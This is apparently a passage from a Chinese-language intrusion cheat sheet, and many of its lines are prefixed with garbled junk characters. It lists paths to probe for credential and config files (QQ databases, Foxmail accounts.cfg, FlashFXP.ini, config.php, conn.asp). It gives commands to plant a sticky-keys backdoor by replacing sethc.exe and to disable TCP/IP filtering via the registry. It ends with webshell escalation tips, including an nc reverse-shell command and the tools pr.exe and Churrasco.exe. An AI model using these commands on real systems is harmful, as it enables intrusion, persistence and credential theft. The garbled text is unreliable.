c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
' k. Z* y) n) {, v# b8 Cc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
/ k- \' p% V7 K+ w% d) tc:\Apache2\bin\Apache.exe
$ t8 c7 ?1 w; Uc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
! x0 V' e, P7 L' S/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
8 \. E  V* I, n. C3 n- H( v/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
( E! {$ R  f8 ^# Sc:\Program Files\Tencent\qq\qq.exe
; }4 \$ F  T. \" w( s5 R$ Nc:\Program Files\Tencent\qq\bin\qq.exe
& P, F. J& v! ^3 k4 jc:\Program Files\Tencent\qq2009\qq.exe
+ B9 w- @, v. }* `) oc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
8 c' i- R* B' Lc:\Program Files\Tencent\qq\Users\All Users\Registry.db
" K! w1 v6 y* G* {C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
8 t/ _; @! P: X9 h: {3 t" f$ k) {0 bC:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
, O% A+ ^' i" ^C:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
6 C, g# t+ _0 tC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
' U$ m1 K% Z: x) H& N, F4 lc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
0 Y$ w& k: `' T; n: nc:\Program Files\tencent\QQGAME\readme.txt
. Q9 o. \" P0 d( {& YC:\Program Files\StormII\Storm.exe
9 z1 d7 m% D; E/ A( |
3.网站相对路径:

- e9 R* X3 p) y& |4 A( h/config.php
../../config.php
" L9 T% [* T4 X! N../config.php
../../../config.php
/config.inc.php
) T1 U' _, b$ S./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
, l2 h! i- s! k# d, s./conn.php
../../conn.php
../conn.php
../../../conn.php
/conn.asp
0 K* i$ t  R$ P* O# R1 h./conn.asp
0 T. [! C! n6 t- g5 E../../conn.asp
+ g" Z$ X+ p; ?3 D- }( N+ h4 ?../conn.asp
../../../conn.asp
  }: ~  l% D, A# ^3 g' d/ {0 i7 r/config.inc.php
./config.inc.php
../../config.inc.php
../config.inc.php
../../../config.inc.php
% O+ R' C  @# |: H1 s2 ~0 Y1 I/config/config.php
../../config/config.php
../config/config.php
* I0 Z; T  `: w: `  l) _6 X../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
+ C  C5 O5 x0 ~3 I5 N% D( O, B0 J../config/config.inc.php
0 b" ^: [% b- D4 k- t: R6 F# V../../../config/config.inc.php
/config/conn.php
, I0 C7 _8 F. m  P: k! s5 j& ?- J" g./config/conn.php
% g- A* W! e( z# g( I4 S../../config/conn.php
../config/conn.php
) `  t: ?& \: }& w* I../../../config/conn.php
/config/conn.asp
./config/conn.asp
../../config/conn.asp
. K; U! N5 t0 ]/ _1 I  U0 T5 ~../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
# q4 K" j: m, o! J../../config/config.inc.php
../config/config.inc.php
: p. {+ I/ |0 u7 X3 S. w5 G5 ?: j- ?3 Z../../../config/config.inc.php
/data/config.php
../../data/config.php
../data/config.php
../../../data/config.php
" n# j# F% J: |' z. _, k/data/config.inc.php
./data/config.inc.php
6 a) U5 F! c+ n2 ^, e0 U0 E- A+ g../../data/config.inc.php
! S+ K% a9 P( A, t5 W8 v; v/ L1 N../data/config.inc.php
& w3 }) q; E' H' ?1 J) X../../../data/config.inc.php
/data/conn.php
./data/conn.php
/ T& }. Q; Q- w" I5 m../../data/conn.php
../data/conn.php
! R" q" f# u8 Z4 B* c8 D! r- B../../../data/conn.php
" i$ V( D  o; ~7 F5 R. y/data/conn.asp
./data/conn.asp
: h+ m5 j6 b2 H  O4 L2 o1 i. Z../../data/conn.asp
4 X, O' r  N& f0 V8 W../data/conn.asp
../../../data/conn.asp
2 ^: d. \% K& b% F/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
../data/config.inc.php
( |& p+ _2 h" n9 T9 a../../../data/config.inc.php
/include/config.php
../../include/config.php
../include/config.php
' f$ H. x0 c( ]# L, s4 d( I: m../../../include/config.php
/include/config.inc.php
./include/config.inc.php
+ e& E/ X" L1 p( J/ x( q- x6 z../../include/config.inc.php
../include/config.inc.php
8 @. z6 b9 ]! W* s../../../include/config.inc.php
/include/conn.php
! B+ }5 S% K2 n, {./include/conn.php
+ `8 R' G, o! l2 y4 c2 @../../include/conn.php
; V' l4 q- b3 u. W../include/conn.php
  J/ Z8 C, X" q! m7 M/ R) f../../../include/conn.php
% y& G8 L8 b4 e0 }. C/ `/include/conn.asp
./include/conn.asp
../../include/conn.asp
../include/conn.asp
/ e: k2 T; ?, U, u7 g$ ?../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
" a  B1 f! F- w' `2 Z5 S% A../../include/config.inc.php
+ F! P- k- Y7 v../include/config.inc.php
../../../include/config.inc.php
4 e% V8 |3 H* v8 n5 `/inc/config.php
1 O+ z" `1 ^% F/ F) c! X../../inc/config.php
../inc/config.php
/ ~2 [/ ^2 c1 G: ]/ p: N../../../inc/config.php
# l* c% C; C: t+ M; U6 [- J1 a/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
( c! D- F# {3 o/ l2 g' g: E../inc/config.inc.php
9 @$ h' C3 |( L& e9 E* F% J, c../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
4 B, k2 B0 ]" h../inc/conn.php
" ?' }- R, z% S$ `$ |7 m  g" B3 {../../../inc/conn.php
- O  ]  {; g6 l0 Z+ P/inc/conn.asp
; e. x& B) R6 Y, o  d./inc/conn.asp
../../inc/conn.asp
- V* E! m1 V/ Y+ u../inc/conn.asp
5 V1 w- E4 j* [# P../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
, Z9 q5 o3 c& ~( ~& p../../inc/config.inc.php
/ N" @# `  @: n2 J+ D* t. b0 Q4 ?* F../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
  q, T  \( Q" ~../../index.php
../index.php
$ h% R0 \  ^6 e, z8 w../../../index.php
/index.asp
" o4 j8 B; d( @" b2 P; L. l./index.asp
5 }. [9 V* s' t6 c../../index.asp
../index.asp
. G* V; V- g6 G: [( _../../../index.asp
替换SHIFT后门
- F3 H. ]( l; \# z8 S/ ~8 O　attrib c:\windows\system32\sethc.exe -h -r -s

　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
, d+ U% d4 C( R
: Y- \% B- E6 p( i, ~+ W　　del c:\windows\system32\sethc.exe

. c$ o1 M$ H/ h% k* f4 l' Z　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
' r9 E$ {$ C' f! q5 R# X* G% x0 x
; _7 k- Z) q# T4 `5 Z　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

1 U+ X3 K- w+ A　　attrib c:\windows\system32\sethc.exe +h +r +s

1 V/ M9 `' @/ ~, A6 c6 j　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
5 n/ W, u" d# p$ R4 p( uTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
% P! k4 ]% ?- z. \HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
% }3 g6 m7 D4 Q6 c( Y
分别用
6 R9 z- s! K$ s  _8 {9 p8 G$ |regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& O  f7 k$ l5 l& W  [6 F8 ~4 Oregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
2 E$ S% E% y% t" a  ^5 g# g命令来导出注册表项

6 K3 L8 D- I6 D: z8 Q, h1 N) ?$ {然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
3 n" s9 N# c, t' B/ f- B* xregedit -s D:\a.reg
6 c' e* C) V9 Mregedit -s D:\b.reg
regedit -s D:\c.reg
3 b# V; Q# }! p/ v4 a3 l导入注册表即可

7 t7 s1 H" a/ e( q$ v. f' rwebshell提权小技巧
cmd路径:
c:\windows\temp\cmd.exe
. U; f% l! Y4 Y# H- }nc也在同目录下
例如反弹cmdshell：
0 b$ n$ L5 t8 N1 d9 O3 S% U"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
4 ~1 j1 E/ H. X& ~) |命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
) H& U( S0 P" u0 |  t- o却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功